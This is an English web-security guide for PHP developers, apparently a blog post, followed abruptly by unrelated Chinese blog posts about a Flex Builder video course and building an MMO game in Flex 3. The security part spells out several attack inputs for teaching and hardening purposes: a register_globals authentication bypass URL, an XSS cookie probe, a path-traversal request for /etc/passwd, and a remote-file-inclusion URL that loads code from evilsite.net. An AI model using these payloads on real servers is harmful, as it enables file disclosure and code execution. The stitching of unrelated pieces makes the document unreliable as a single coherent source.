Use Clever Passwords, and Entice Users to Do the Same

Even on bullet-proof systems, one attack vector is users whose passwords are very easy to guess. I change my passwords every few weeks, and I take inspiration from a book I am reading or a movie I have just seen. I also replace some characters and with numbers to make dictionary attacks harder.

There are two ways to crack a password (other than social engineering, which is making you tell me your password by tricking you or phishing): brute force and dictionary attacks. Brute force entails writing a loop that tries all of the different options (much like playing hangman), which can take ages and uses a lot of computing power. Dictionary attacks use a dictionary database to attempt common words instead of going letter by letter.

Say I am reading a Sherlock Holmes book or have just seen the new screen adaptation, my password could be Sh3rl0ckW4t50n or b4sk3rv!ll3. That may be a bit hardcore for most people but is generally a good idea. Another strategy is to take a sentence that you can memorize easily and string together the initial letters. For example, “I like to buy food for my dog and to walk with it” would be Il2bffmda2wwi or even Il2bffmd&2wwi.

So, if you build a new Web product that needs authentication, and you really need to build your own log-in system rather than use Google, Yahoo, Facebook Connect or OpenID (which might be a good idea), please do not allow users to use passwords like “password” or the not-much-safer “password1.” Recently, a list of passwords banned by Twitter leaked onto the Web, shown here as the full code. This is a good idea (the list, that is, not the leak).

What To Do On Your Server

Even if you are not a server expert, that’s no excuse for running an insecure server. Here are some things to make sure of.

Turn Off Folder Listing

As explained earlier, allowing people to navigate your folders (i.e. path traversal) is a bad idea. Testing whether your server has path traversal turned on is easy:

  1. Create a new folder on the server; for example, pathtest.
  2. Add some files to the folder. But do not add index.html, index.php, default.aspx or whatever else your server uses as the default file name.
  3. Check the folder in your browser; for example, by going to http://example.com/pathtest/
  4. If you can see a listing, contact your server admin to turn that off!

Harden Your PHP

If you have a server with PHP, be aware that you are in control of a powerful tool. The worst oversight someone could make is to allow any parameter that comes in from the URI to become a global variable. This is turned off by default on PHP installs in version 4.2.0 and onward, but your configuration may have changed. In fact, some tutorials recommend that you turn it on for a script to work: this is a very, very bad idea.

You can easily test if globals are enabled:

  1. Create a new file named test.php.
  2. Add the following code to it:
    1 <?php echo "*".$ouch.'*';?>
  3. Upload the file to your server.
  4. Browse to the file, and send a parameter called ouch; for example: http://example.com/test.php?ouch=that+hurts
  5. If your browser shows “*that hurts*”, then your server has globals registered.
  6. Contact your server admin to get this fixed!

Why is this important? Well, in our explanation of XSS earlier, we talked about attackers being able to add code to your page using the URI parameters in your script. If you don’t turn off globals, any variable you use and write out could become an attack. Even worse, consider the following code:

1 if($_POST['username'] == ‘muppet’ &&
2    $_POST['password'] == ‘password1′) {
3     $authenticated = true;
4 }
5 if($authenticated) {
6   // do something only admins are allowed to do
7 }

If this is checkuser.php and global registering is on, then an attacker could call this in the browser as http://example.com/checkuser.php?authenticated=true and could work around the whole user checking; his authentication as $_GET['authenticated'] automatically turns into $authenticated.

Turn Off Error Messages

A lot of servers are set up to show you error messages when the browser encounters a problem. These messages often look cryptic, but they are a great source of information for attackers.

Creating an error and seeing what the server spits out is one of the first steps in checking the folder structure of a server. Funnily enough, error pages stating “File XYZ could not be found” were one of the first XSS attack opportunities, because you could look for a file named <script>alert(document.cookie),</script>.

Automatically Checking PHP for Security Issues

Uploading PHPSecInfo to a folder is a pretty handy way to perform a quick audit of your PHP server’s security. Opening it in your browser gives you a detailed checklist of common security flaws and how they should be fixed.

But never leave this on a live server because it gives attackers a lot of details about your set-up!

Securityinfo in Web Security: Are You Part Of The Problem?
PHPSecInfo gives you detailed security information about your PHP setup.

What To Do To Your Code

Because you likely do not have much to do with your server let’s focus on things you do have full control of.

HTML

HTML is pretty safe. It is simply converted into text—no interaction with the server or calculations—so not much can go wrong. That said, you should always use HTML for what it’s for:

  • HTML structures your content.
    HTML is not a database to store information. The reason it is not is because you cannot rely on HTML content to stay unchanged. Anyone could use browser debugging tools to mess around with your HTML and change the content. So you run into security issues with JavaScript solutions that rely on data in the HTML and don’t check the server for what that data is allowed to be.
  • HTML is fully visible.
    Don’t use comments in the HTML to store sensitive information, and don’t comment out sections of a page that are not ready yet but that point to parts of an application that are in progress.
  • Hiding things doesn’t make them go away.
    Even if you hide information with CSS or JavaScript, some people can get it anyway. HTML is not there to give your application functionality; that should always happen on the server.

A wonderful example of insecure HTML was the drop-down menu on the website of a certain airline. This menu let you define the seating class you wanted to fly in as the last step before printing your voucher. The website rendered the HTML of the drop-down menu and commented out the sections that were not available for the price you had selected:

1 <select name=“class”>
2   <option value=“ec”>Economy</option>
3   <option value=“ecp”>Economy Plus</option>
4   <!–
5   <option value=”bu”>Business</option>
6   <option value=”fi”>First</option>
7   –>
8 </select>

The server-side code did not check to see whether you were eligible for a first-class ticket; it simply relied on the option not being available. The form was then sent via JavaScript. So, all you had to do to get a first-class ticket for the price of an economy seat was use FireBug to add a new option to the form, select the value you wanted and send it off.

CSS

CSS is not really capable of doing much to the document and cannot access the server… for now. One problem with CSS is background images that point to URIs. You can inject code by somehow overriding these. The same applies to the @import property for other style sheets.

Using expression() in Internet Explorer to make calculations (or, as in most cases, to simulate what other browsers can already do) is dangerous, though, because what you are doing in essence is executing JavaScript inside a CSS block. So, don’t use it.

CSS changing a lot now, and we are giving it more power than ever before. Generating content with CSS, animation, calculations and font embedding all sound absolutely cool, but I get a prickly feeling in the back of my neck when I look at it right now.

Attack vectors have two features: they have the power to change the content of a document, and they are technologies that are not proven and are changing constantly. This is what CSS 3 is right now. Font-embedding in particular could become a big security issue, because fonts are binary data that could contain anything: harmless characters as well as viruses masquerading as a nice charset. It will be interesting to see how this develops.

JavaScript

JavaScript makes the Web what it is today. You can use it to build interfaces that are fun to use and that allow visitors to reach their goals fast and conveniently. You can and should use JavaScript for the following:

  • Create slicker interfaces (e.g. auto-complete, asynchronous uploading).
  • Warn users about flawed entries (password strength, for instance).
  • Extend the interface options of HTML to become an application language (sliders, maps, combo boxes, etc.)
  • Create visual effects that cannot be done safely with CSS (animation, menus, etc.)

JavaScript is very powerful, though, which also means that it is a security issue:

  • JavaScript gives you full access to the document and allows you to post data to the Internet.
  • You can read cookies and send them elsewhere.
  • JavaScript is also fully readable by anyone using a browser.
  • Any JavaScript on the page has the same rights as the others, regardless of where it came from. If you can inject a script via XSS, it can do and access whatever the other scripts can.

This means you should not try to do any of the following in JavaScript:

  • Store sensitive information (e.g. credit card numbers, any real user data).
  • Store cookies containing session data.
  • Try to protect content (e.g. right-click scripts, email obfuscation).
  • Replace your server or save on server traffic without a fallback.
  • Rely on JavaScript as the only means of validation. Attackers can turn off JavaScript and get full access to your system.
  • Trust any JavaScript that does not come from your server or a similar trusted source.
  • Trust anything that comes from the URI, HTML or form fields. All of these can be manipulated by attackers after the page has loaded. If you use document.write() on unfiltered data, you expose yourself to XSS attacks.

In other words, AJAX is fun, but do not rely on its security. Whatever you do in JavaScript can be monitored and logged by an end user with the right tools.

PHP (or Any Server-Side Language)

Here be dragons! The server-side language is where you can really mess up if you don’t know what you’re doing. The biggest problems are trusting information from the URI or user entry and printing it out in the page. As shown earlier in the XSS example with the colors, you will be making it easy to inject malicious code into your page.

There are two ways to deal with this: whitelisting and proper filtering.

Whitelisting is the most effective way to make sure nothing insecure gets written out. The trick is easy: don’t use information that gets sent through as the output; rather, just use it in conditions or as lookups.

Let’s say you want to add a file on demand to a page. You currently have these sections on the page: About Us, Contact, Clients, Portfolio, Home, Partners. You could store the data of these in about-us.php, contact.php, clients.php, portfolio.php, index.php and partners.php.

The amazingly bad way to do this is probably the way you see done in many tutorials: a file called something like template.php, which takes a page parameter with the file name.

The template then normally contains something like this:

1 <?php include($_GET['page']);?>

If you call http://example.com/template.php?page=about-us.php, this would load the “About Us” document and include it in the template where the code is located.

It would also allow someone to check out all of the other interesting things on your server. For example, http://example.com/template.php?page=../../../../../../../../etc/passwd%00 or the like would allow an attacker to read your passwd file.

If your server allows for remote files with include(), you could also inject a file from another server, like http://example.com/template.php?page=http://evilsite.net/exploitcode/2.txt?. Remember, these text files will be executed as PHP inside your other PHP file and thus have access to everything. A lot of them contain mass-mailers or check your system for free space and upload options to store data.

In short: never, ever allow an unfiltered URI parameter to become part of a URI that you load in PHP or print out as an href or src in the HTML. Instead, use pointers:

01 <?php
02 $sites = array(
03   ‘about’=>‘about-us.php’,
04   ‘contact’=>‘contact.php’,
05   ‘clients’=>‘clients.php’,
06   ‘portfolio’=>‘portfolio.php’,
07   ‘home’=>‘index.php’,
08   ‘partners’=>‘partners.php’
09 );
10 if( isset($_GET['page']) &&
11     isset($sites[$_GET['page']]) &&
12     file_exists($sites[$_GET['page']]) ){
13       include($sites[$_GET['page']]);
14 } else {
15   echo ‘This page does not exist on this system.’;
16 }
17 ?>

This way, the parameters become not a file name but a word. So, http://example.com/template.php?page=about would include about-us.php, http://example.com/template.php?page=home would include index.php and so on. All other requests would trigger the error message. Note that the error message is in our control and not from the server; or else you might display information that could be used for an exploit.

Also, notice how defensive the script is. It checks if a page parameter has been sent; then it checks if an entry for this value exists in the sites array; then it checks if the file exist; and then, and only then, it includes it. Good code does that… which also means it can be a bit bigger than expected. That’s not exactly “Build your own PHP templating system in 20 lines of code!” But it’s much better for the Web as a whole.

Generally, defining all of the variables you will use before you use them is a good idea. This makes it safer even in PHP set-ups that have globals registered. The following cannot be cracked by calling the script with an authenticated parameter:

1 $authenticated = false;
2 if($_POST['username'] == ‘muppet’ &&
3    $_POST['password'] == ‘password1′) {
4     $authenticated = true;
5 }
6 if($authenticated) {
7   // do something only admins are allowed to do
8 }

The demo we showed earlier makes it possible to work around this, because $authenticated was not pre-set anywhere.

Writing your own validator function is another option. For example, the color demo could be made secure by allowing only single words and numbers for the colors.

01 $color = ‘white’;
02 $background = ‘black’;
03 if(isset($_GET['color']) && isvalid($_GET['color'])){
04   $color = $_GET['color'];
05   if(ishexcolor($color)){
06     $color = ‘#’.$color;
07   }
08 }
09 if(isset($_GET['background']) && isvalid($_GET['background'])){
10   $background = $_GET['background'];
11   if(ishexcolor($background)){
12     $background = ‘#’.$background;
13   }
14 }
15 function isvalid($col){
16   // only allow for values that contain a to z or 0 to 9
17   return preg_match(‘/^[a-z0-9]+$/’,$col);
18 }
19 function ishexcolor($col){
20   // checks if the string is 3 or 6 characters
21   if(strlen($col)==3 || strlen($col)==6){
22     // checks if the string only contains a to f or 0 to 9
23     return preg_match(‘/^[a-f0-9]+$/’,$col);
24   }
25 }

This allows for http://example.com/test.php?color=red&background=pink or http://example.com/test.php?color=369&background=69c or http://example.com/test.php?color=fc6&background=449933, but not for http://example.com/test.php?color=333&background=&lt/style>. This keeps it flexible for the end user but still safe to use.

If you are dealing with content that cannot be easily whitelisted, then you’ll need to filter out all the malicious code that someone could inject. This is quite the rat-race because new browser quirks are being found all the time that allow an attacker to execute code.

The most basic way to deal with this is to use the native PHP filters on anything that comes in. But a quite sophisticated package called HTML Purifier is also available.

Housekeeping

One very important part of security is keeping your server clean. If you have old, insecure code lying around, it won’t matter whether your main website is hardened and up to date with the best security measures. Your server is as vulnerable as its weakest and least-maintained code.

Check what you have on your server from time to time, and delete or move things that you are not interested in any more or couldn’t be bothered to maintain. Instead of deleting code, you could move it to a repository such as Google Code or GitHub and redirect the old folder to it.

It is also not a good idea to use the same server to test things and run a live product. Use one server as a test platform for playing around and another for grown-up stuff. It is especially important to have a different domain for each to protect your cookies.

Check Your Log Files

Every server comes with log files that you can access. Many hosting companies even give you detailed statistics that show you where visitors have gone and what they did.

Normally, we just use these to check the number of visitors, what browsers they used, where they came from, when they came and which websites were most successful. This is what makes us happy and allows us to track our progress.

That is not really the interesting part of the statistics package or log files, though:

  • Check how many forms have been sent and who tried to send them. This is an indicator of CSRF and XSS attacks.
  • Check the server traffic and which files were frequently called. If the forms are old and not frequently used, you have a CSRF attack on your hands.
  • Search the logs for “txt?” endings, which are an indicator of RFI attacks. Try them out on your website; if they work, alarm bells should go off in your head. An exception to this is robots.txt, which is a file that search engines request before reading a folder; this is not an issue and wouldn’t be followed by a question mark anyway.
  • Check the error messages and how many of them were 404 errors (”Page not found”). Check what file names people were looking for, which folders they attempted to access and what files they tried to read.
  • Check which users tried to authenticate. If a user you don’t know was causing a lot of traffic, they already got control of your server.

Your log file is your snitch that tells on the bad guys who come around trying to mess with your server. Be wise and stay a step ahead of them.

Flex Builder 3.0 视频教学

2010年1月14日

flexbuilderlearningvideo

http://veryhw.com/#Tab=1&Video=%E7%9F%A5%E8%AF%86/%E6%8A%80%E6%9C%AF/Adobe/%E6%95%99%E7%A8%8B/Flex%203/01%20Flex,%20Flash,%20Flash%20Player,%20AIR%20%E6%A6%82%E8%BF%B0

[转载]使用FLEX3开发大型多人在线游戏(2)

2010年1月14日

在这个游戏中,有5个类型的请求/响应配对(见图8 ) 。所有与服务器端的交互是通过一个叫作称为ElectroServerActionScript 3对象来实现的。当程序加载连接服务器与加入到房间中时,该组合被显示。所有文字聊天和所有玩家的操作动作(如位置的变化,进攻,防守,等等)用这种方式进行发送。

PublicMessageRequest仅发送文字,它通常是作为一个聊天信息。但不仅仅是文字是可能的。一个消息也可以发送一个EsObject对象。这是一个通用的ActionScript 3对象。开发包装EsObject的有用特性-例如,玩家在游戏中移动的新的XY的位置。更复杂的游戏功能较重使用EsObjects并且封装更多的数据。创造复杂的游戏而不通过EsObjects传送太多的数据是一种艺术。发送较小的信息将有助于游戏反应速度。最后配对显示如何断开客户端从服务器室当用户结束他或她的游戏。

Request/Response pairs for RIP

Figure 8. RIP的请求/响应对.

技能, 皮肤以及样式

因为AdobeCreative Suite 4产品之间的合作,整合写好的控件到Flex项目是很简单。这是使用FLEX一个主要好处。如果仔细规划高效率的工作流程,开发人员和设计人员,可以对项目以最少的冲突。

对于RIP,我开始铺设应用程序的MXML而平面设计师编写CSS来定义颜色和字体。我继续编写角色的移动和交互而艺术设计师用Flash制作背景和角色。我们三人几乎没有中断工作,因为RIP参考可见的元素进行开发。

Flex Builder中主要有两种类型的视觉效果:造型和外观。在程序中,造型决定基本色泽和文本显示属性。出色的(但还远远没有完成)的CSS兼容性的Flex允许一个CSS文本文件来定义样式属性。艺术团队编辑和保存每个样式的变化。一个例子是panels的背景颜色梯度和各种字体的处理(见图9 ) 。

应用程序中包括皮肤制定与动画的设计。在RIP中,应用程序中嵌入一个包含资源的SWF文件。界面小组利用Adobe Flash CS4专业版重新发布此SWF以更新每个皮肤。每一次的Flex项目是重新编译,发布的游戏以程序上与创造性上作出修改。一个皮肤制作的例子就是RIP LOGO或鬼魂的动画角色设计(见图9 ) 。

Finished game with complete styles and skins

Figure 9.完成游戏的风格和完整的皮肤。

现在我们有了一个坚实的,抛光建立的游戏,我们都愿意尝试一下。虽然尚未针对许多用户优化,游戏应处理几十个屏幕。加入有趣的是容易的。单击连接并且一个独特的彩色鬼魂显示在屏幕上。输入文字信息进行交流,然后点击游戏中的任何地方,来控件你的游戏角色。更大的游戏可以扩大到包括化身属性,如经验和速度,以完成任务,库存物品收集,和更多的世界来探索。

下一步

除了发展自己的游戏,有两个重要的辅助因素:在线整合您的应用程序并规划项目的维护工作。

整合

你的开发周期即将走到尽头时,您需要在线整合您的应用程序。在开发过程中,你可以在您的桌面上运行的一个ElectroServer实例,并直接与出版的SWF文件交互。只需打开两个或两个以上的游戏SWF文件在您的桌面上,以测试多个用户。这个工作流程可以快速发展。

一旦你已经准备好您的应用程序的在线测试,请执行下列步骤:

  1. Web服务器上安装和运行的一个ElectroServer实例。
  2. 您的游戏配置要求在线实例,而非您的桌面实例。
  3. 浏览网页,其中包含您的SWF文件,并开始播放。打开两个或两个以上的窗口,以该网页来自同一台式电脑或台式机,以测试不同的多个用户。

请记住,对大多数商业应用,你还需要某种玩家匹配系统-通常称为lobby, 这样,用户就可以找到朋友,并开始游戏。您可以建立一个lobby到您的游戏或使用外部的。您可以使用一个精心设计的外部lobby作为入口成多个MMO游戏,所以当你部署多人游戏你不需要重新发明车轮。

维护

除了典型的应用系统维修,包括错误修正和功能要求, MMO游戏需要更多的行动,不断推出服务后。重要的是要考虑推出网络游戏项目作为一个完整的游戏所需要的。许多商业模式的网络游戏应用受益于前面提到的长期用户。

用户全神贯注维持数月或数年,需要坚实的社会管理和定期的内容更新。大部分用户将享受来自与其他玩家互动。新玩家加入后引起的社会动态与戏剧性发展将捕获用户的注意力。这是网络游戏类型的游戏开发商一个最大的优势。然而,有很大的竞争来自其他的MMO游戏,以及用户与用户共享,可享受其他许多游戏。为了使您的游戏令人兴奋并保持新鲜,并确保您的用户继续参与,建立一个维持战略去产生更多的角色,游戏关卡,和情节随着时间的推移。由于开发商往往不充分认识维护要求,因此没有和预算范围内保持均衡,保养不善是导致MMO游戏死亡的最大原因。

结尾

MMO游戏结合最好的Web 2.0RIA方法为用户提供经验。它们可以成为令人兴奋的项目开发和有利可图的事业的游戏出版商。

建立成功的MMO游戏需要认真规划,包括开发角色和故事应该是独一无二的,并允许发展,建设一个有吸引力的视觉设计,并选择适当的客户端和服务器的技术力量去实现构想。

开发包括用户界面设计,客户端服务器通信,游戏逻辑,艺术和皮肤。我们相信的Flex Builder是一个理想的客户端的技术的选择,因为它灵活的开发环境。再加上Adobe公司的Creative Suite 4 Flex Builder将使你从一开始就顺利地构建您的团队协作。

如果您计划真正特别的东西,制定严密,并保持您的项目启动后运行很久,你就会使用Flex 3创造一个成功的MMO游戏。

致谢

我特别感谢作出贡献的艺术家。Warren Lee创造了风格和游戏艺术和Bill CoonsBillCoons.com制作了皮肤与界面图形设计。